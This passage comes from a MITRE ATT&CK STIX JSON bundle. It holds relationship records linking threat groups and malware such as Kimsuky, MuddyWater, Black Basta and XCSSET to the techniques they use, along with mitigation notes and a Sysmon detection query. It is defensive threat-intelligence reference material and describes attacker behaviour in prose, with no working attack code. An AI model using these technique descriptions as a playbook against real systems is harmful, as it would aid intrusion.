Manager Run Command.(Citation: GitHub Pacu)","relationship_type":"uses","source_ref":"tool--1b3b8f96-43b1-4460-8e02-1f53d7802fb9","target_ref":"attack-pattern--d94b3ae9-8059-4989-8e9f-ea0f601f80a7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f528d6d4-7118-48f4-a875-310a2f511900","created":"2023-09-15T20:13:08.233Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Proofpoint TA2541 February 2022","description":"Larson, S. and Wise, J. (2022, February 15). Charting TA2541's Flight. Retrieved September 12, 2023.","url":"https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight"},{"source_name":"Cisco Operation Layover September 2021","description":"Ventura, V. (2021, September 16). Operation Layover: How we tracked an attack on the aviation industry to five years of compromise. Retrieved September 15, 2023.","url":"https://blog.talosintelligence.com/operation-layover-how-we-tracked-attack/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-15T20:14:41.009Z","description":"(Citation: Proofpoint TA2541 February 2022)(Citation: Cisco Operation Layover September 2021)","relationship_type":"uses","source_ref":"intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0","target_ref":"malware--d906e6f7-434c-44c0-b51a-ed50af8f7945","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f529dc66-7087-4a41-9baa-98ef9e60296f","type":"relationship","created":"2022-03-30T14:26:51.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.859Z","description":"Monitor for newly executed processes that may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f52cb753-6f2f-4f23-834a-75510e8fb47a","type":"relationship","created":"2020-05-18T20:04:59.435Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro POWERSTATS V3 June 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/","description":"Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020."}],"modified":"2020-05-18T20:04:59.435Z","description":"[SHARPSTATS](https://attack.mitre.org/software/S0450) has the ability to identify the username on the compromised host.(Citation: TrendMicro POWERSTATS V3 June 2019)","relationship_type":"uses","source_ref":"malware--73c4711b-407a-449d-b269-e3b1531fe7a9","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f52e6fb6-754b-4b48-ab5b-eff0e6233d7d","created":"2023-03-22T13:06:57.348Z","revoked":false,"external_references":[{"source_name":"Amazon S3 Security, 2019","description":"Amazon. (2019, May 17). How can I secure the files in my Amazon S3 bucket?. Retrieved October 4, 2019.","url":"https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/"},{"source_name":"Amazon AWS Temporary Security Credentials","description":"Amazon. (n.d.). Temporary Security Credentials. Retrieved October 18, 2019.","url":"https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html"},{"source_name":"Microsoft Azure Storage Security, 2019","description":"Amlekar, M., Brooks, C., Claman, L., et. al.. (2019, March 20). Azure Storage security guide. Retrieved October 4, 2019.","url":"https://docs.microsoft.com/en-us/azure/storage/common/storage-security-guide"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T13:06:57.348Z","description":"Configure user permissions groups and roles for access to cloud storage.(Citation: Microsoft Azure Storage Security, 2019) Implement strict Identity and Access Management (IAM) controls to prevent access to storage solutions except for the applications, users, and services that require access.(Citation: Amazon S3 Security, 2019) Ensure that temporary access tokens are issued rather than permanent credentials, especially when access is being granted to entities outside of the internal security boundary.(Citation: Amazon AWS Temporary Security Credentials)","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f52f1b34-a96a-45a0-8cc0-2f138a3f1257","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/","description":"Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER’s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.","source_name":"Trend Micro Daserf Nov 2017"},{"url":"https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan","description":"DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.","source_name":"Symantec Tick Apr 2016"}],"modified":"2019-03-22T19:57:37.429Z","description":"(Citation: Trend Micro Daserf Nov 2017)(Citation: Symantec Tick Apr 2016)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f5316001-db89-4c59-8a58-abf12f439c58","type":"relationship","created":"2020-01-30T14:34:45.427Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-14T16:28:20.030Z","description":"By requiring a password, even if an adversary can get terminal access, they must know the password to run anything in the sudoers file. Setting the timestamp_timeout to 0 will require the user to input their password every time sudo is executed.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f5361de6-c729-4fe3-a37d-2d5ff95b31e2","created":"2022-03-15T20:02:43.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"KISA Operation Muzabi","description":"KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.","url":"https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:31:57.417Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has added accounts to specific groups with net localgroup.(Citation: KISA Operation Muzabi)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--3e6831b2-bf4c-4ae6-b328-2e7c6633b291","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f5362c13-271a-486c-8665-996367599fd8","type":"relationship","created":"2021-12-07T14:38:12.909Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"}],"modified":"2021-12-07T14:38:12.909Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has likely obtained a list of hosts in the victim environment.(Citation: US-CERT TA18-074A)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f537f279-f1e2-4171-b6bb-b02ad620b207","created":"2024-09-19T14:36:48.057Z","revoked":false,"external_references":[{"source_name":"Deep Instinct Black Basta August 2022","description":"Vilkomir-Preisman, S. (2022, August 18). Beating Black Basta Ransomware. Retrieved March 8, 2023.","url":"https://www.deepinstinct.com/blog/black-basta-ransomware-threat-emergence"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-19T14:36:48.057Z","description":"[Black Basta](https://attack.mitre.org/software/S1070) will check for the presence of a hard-coded mutex `dsajdhas.0` before executing.(Citation: Deep Instinct Black Basta August 2022)","relationship_type":"uses","source_ref":"malware--8d242fb4-9033-4f13-8a88-4b9b4bcd9a53","target_ref":"attack-pattern--49fca0d2-685d-41eb-8bd4-05451cc3a742","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f53a225d-093b-4d90-9916-1e5981dbf95a","type":"relationship","created":"2021-10-07T21:28:23.982Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"trendmicro xcsset xcode project 2020","url":"https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf","description":"Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021."}],"modified":"2021-10-18T22:36:12.533Z","description":"[XCSSET](https://attack.mitre.org/software/S0658) saves a screen capture of the victim's system with a numbered filename and .jpg extension. Screen captures are taken at specified intervals based on the system. (Citation: trendmicro xcsset xcode project 2020)","relationship_type":"uses","source_ref":"malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f53b248d-da29-4805-b714-29db3ce99ada","created":"2023-10-04T14:13:47.119Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Booz Allen Hamilton","description":"Booz Allen Hamilton When The Lights Went Out Retrieved. 2019/10/22 ","url":"https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-04T18:13:02.773Z","description":"During the [2015 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0028), [Sandworm Team](https://attack.mitre.org/groups/G0034) modified in-registry internet settings to lower internet security. (Citation: Booz Allen Hamilton)","relationship_type":"uses","source_ref":"campaign--46421788-b6e1-4256-b351-f8beffd1afba","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f53f17c6-b2ad-4201-8a26-ef53565a61af","created":"2022-09-27T19:59:46.884Z","revoked":false,"external_references":[{"source_name":"DHS CISA AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T19:59:46.884Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has exploited the Microsoft Netlogon vulnerability (CVE-2020-1472).(Citation: DHS CISA AA22-055A MuddyWater February 2022)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f540a7ab-541a-44a5-8b6a-96b42b044d5b","type":"relationship","created":"2021-10-01T17:44:49.039Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity InkySquid RokRAT August 2021","url":"https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/","description":"Cash, D., Grunzweig, J., Adair, S., Lancaster, T. (2021, August 25). North Korean BLUELIGHT Special: InkySquid Deploys RokRAT. Retrieved October 1, 2021."}],"modified":"2021-10-15T16:55:11.475Z","description":"[APT37](https://attack.mitre.org/groups/G0067) has created scheduled tasks to run malicious scripts on a compromised host.(Citation: Volexity InkySquid RokRAT August 2021)","relationship_type":"uses","source_ref":"intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f5499769-be56-4995-b993-0a2bc59a0f08","type":"relationship","created":"2020-01-24T18:15:06.946Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://support.apple.com/en-us/HT204005","description":"Apple. (2016, December 6). Automatically re-open windows, apps, and documents on your Mac. Retrieved July 11, 2017.","source_name":"Re-Open windows on Mac"}],"modified":"2022-03-31T20:46:06.606Z","description":"Holding the Shift key while logging in prevents apps from opening automatically.(Citation: Re-Open windows on Mac)","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--e5cc9e7a-e61a-46a1-b869-55fb6eab058e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f549bc1f-582d-41ce-b9f7-7c5a14f567d6","type":"relationship","created":"2022-03-30T14:26:51.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.839Z","description":"Monitor for contextual data about an Internet-facing resource gathered from a scan, such as running services or ports that may compromise third-party infrastructure that can be used during targeting. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.","source_ref":"x-mitre-data-component--1067aa74-5796-4d9b-b4f1-a4c9eb6fd9da","target_ref":"attack-pattern--7e3beebd-8bfe-4e7b-a892-e44ab06a75f9","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f54cba45-e641-49e0-b015-b5f6f8a05002","created":"2019-05-30T17:23:30.514Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Korean FSI TA505 2020","description":"Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022.","url":"https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory="},{"source_name":"Proofpoint TA505 Mar 2018","description":"Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T16:54:26.083Z","description":"[FlawedAmmyy](https://attack.mitre.org/software/S0381) enumerates the privilege level of the victim during the initial infection.(Citation: Proofpoint TA505 Mar 2018)(Citation: Korean FSI TA505 2020)","relationship_type":"uses","source_ref":"malware--432555de-63bf-4f2a-a3fa-f720a4561078","target_ref":"attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f54ce1d1-519a-417a-b2f5-6132d9690631","created":"2024-03-26T19:31:35.510Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Scattered Spider Advisory November 2023","description":"CISA. (2023, November 16). Cybersecurity Advisory: Scattered Spider (AA23-320A). Retrieved March 18, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a"},{"source_name":"Crowdstrike TELCO BPO Campaign December 2022","description":"Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.","url":"https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-29T15:00:28.645Z","description":"During [C0027](https://attack.mitre.org/campaigns/C0027), [Scattered Spider](https://attack.mitre.org/groups/G1015) used access to the victim's Azure tenant to create Azure VMs.(Citation: Crowdstrike TELCO BPO Campaign December 2022)\n\n[Scattered Spider](https://attack.mitre.org/groups/G1015) has also created Amazon EC2 instances within the victim's environment.(Citation: CISA Scattered Spider Advisory November 2023)","relationship_type":"uses","source_ref":"intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b","target_ref":"attack-pattern--cf1c2504-433f-4c4e-a1f8-91de45a0318c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f54d4ca7-940d-4cf2-b02d-df9b5bfb643e","created":"2023-09-13T20:14:58.194Z","revoked":false,"external_references":[{"source_name":"Morphisec Snip3 May 2021","description":"Lorber, N. (2021, May 7). Revealing the Snip3 Crypter, a Highly Evasive RAT Loader. Retrieved September 13, 2023.","url":"https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-13T20:14:58.194Z","description":"[Snip3](https://attack.mitre.org/software/S1086) can obfuscate strings using junk Chinese characters.(Citation: Morphisec Snip3 May 2021)","relationship_type":"uses","source_ref":"malware--4327aff5-f194-440c-b499-4d9730cc1eab","target_ref":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f54e5455-c539-4bcb-9a06-92440314324f","created":"2022-01-11T14:58:01.948Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevailion DarkWatchman 2021","description":"Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.","url":"https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:28:39.935Z","description":"[DarkWatchman](https://attack.mitre.org/software/S0673) can uninstall malicious components from the Registry, stop processes, and clear the browser history.(Citation: Prevailion DarkWatchman 2021)","relationship_type":"uses","source_ref":"malware--63686509-069b-4143-99ea-4e59cad6cb2a","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f5548cf6-d6d8-401e-997c-ee72642d691c","type":"relationship","created":"2019-01-30T13:28:47.879Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/","source_name":"Unit42 Xbash Sept 2018"}],"modified":"2019-06-28T15:15:54.442Z","description":"[Xbash](https://attack.mitre.org/software/S0341) can collect IP addresses and local intranet information from a victim’s machine.(Citation: Unit42 Xbash Sept 2018)","relationship_type":"uses","source_ref":"malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f55814a0-9e57-4bf3-bc40-21e7d3fca230","type":"relationship","created":"2021-05-26T12:23:49.116Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","source_name":"Mandiant APT1"}],"modified":"2021-05-26T12:23:49.116Z","description":"[APT1](https://attack.mitre.org/groups/G0006) has used various open-source tools for privilege escalation purposes.(Citation: Mandiant APT1)","relationship_type":"uses","source_ref":"intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f55d54fe-27ed-41f9-81db-11ccbe2d2125","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT28","description":"FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.","url":"https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T17:51:20.424Z","description":"[CHOPSTICK](https://attack.mitre.org/software/S0023) provides access to the Windows Registry, which can be used to gather information.(Citation: FireEye APT28)","relationship_type":"uses","source_ref":"malware--ccd61dfc-b03f-4689-8c18-7c97eab08472","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f5633e19-e1be-4631-b714-d88016ded128","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/","description":"Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems. Retrieved June 6, 2018.","source_name":"McAfee Gold Dragon"}],"modified":"2020-04-21T23:09:31.052Z","description":"[Brave Prince](https://attack.mitre.org/software/S0252) terminates antimalware processes.(Citation: McAfee Gold Dragon)","relationship_type":"uses","source_ref":"malware--28b97733-ef07-4414-aaa5-df50b2d30cc5","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f569160b-af34-4919-8cfc-0dce1762e87d","type":"relationship","created":"2021-01-22T16:08:40.745Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NIST 800-63-3","url":"https://pages.nist.gov/800-63-3/sp800-63b.html","description":"Grassi, P., et al. (2017, December 1). SP 800-63-3, Digital Identity Guidelines. Retrieved January 16, 2019."}],"modified":"2021-06-21T17:58:03.706Z","description":"Refer to NIST guidelines when creating password policies for master passwords.(Citation: NIST 800-63-3)","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f56d72b4-f479-46e2-a766-41fcdd70d0d0","created":"2022-03-30T14:26:51.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-10T14:36:32.020Z","description":"Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Utilization of the Windows APIs may involve processes loading/accessing system DLLs associated with providing called functions (ex: ntdll.dll, kernel32.dll, advapi32.dll, user32.dll, and gdi32.dll). Monitoring for DLL loads, especially to abnormal/unusual or potentially malicious processes, may indicate abuse of the Windows API. Though noisy, this data can be combined with other indicators to identify adversary activity.\n\nAnalytic 1 - Look for unusual or abnormal DLL loads, processes loading DLLs not typically associated with them\n\nsourcetype=Sysmon EventCode=7\n| stats count by module_name process_name user\n| where module_name IN (\"ntdll.dll\", \"kernel32.dll\", \"advapi32.dll\", \"user32.dll\", \"gdi32.dll\") ","relationship_type":"detects","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f56f129e-0a30-4be0-bc4b-5942a479e0f9","created":"2022-07-25T18:20:36.684Z","x_mitre_version":"0.1","external_references":[{"source_name":"SentinelOne Aoqin Dragon June 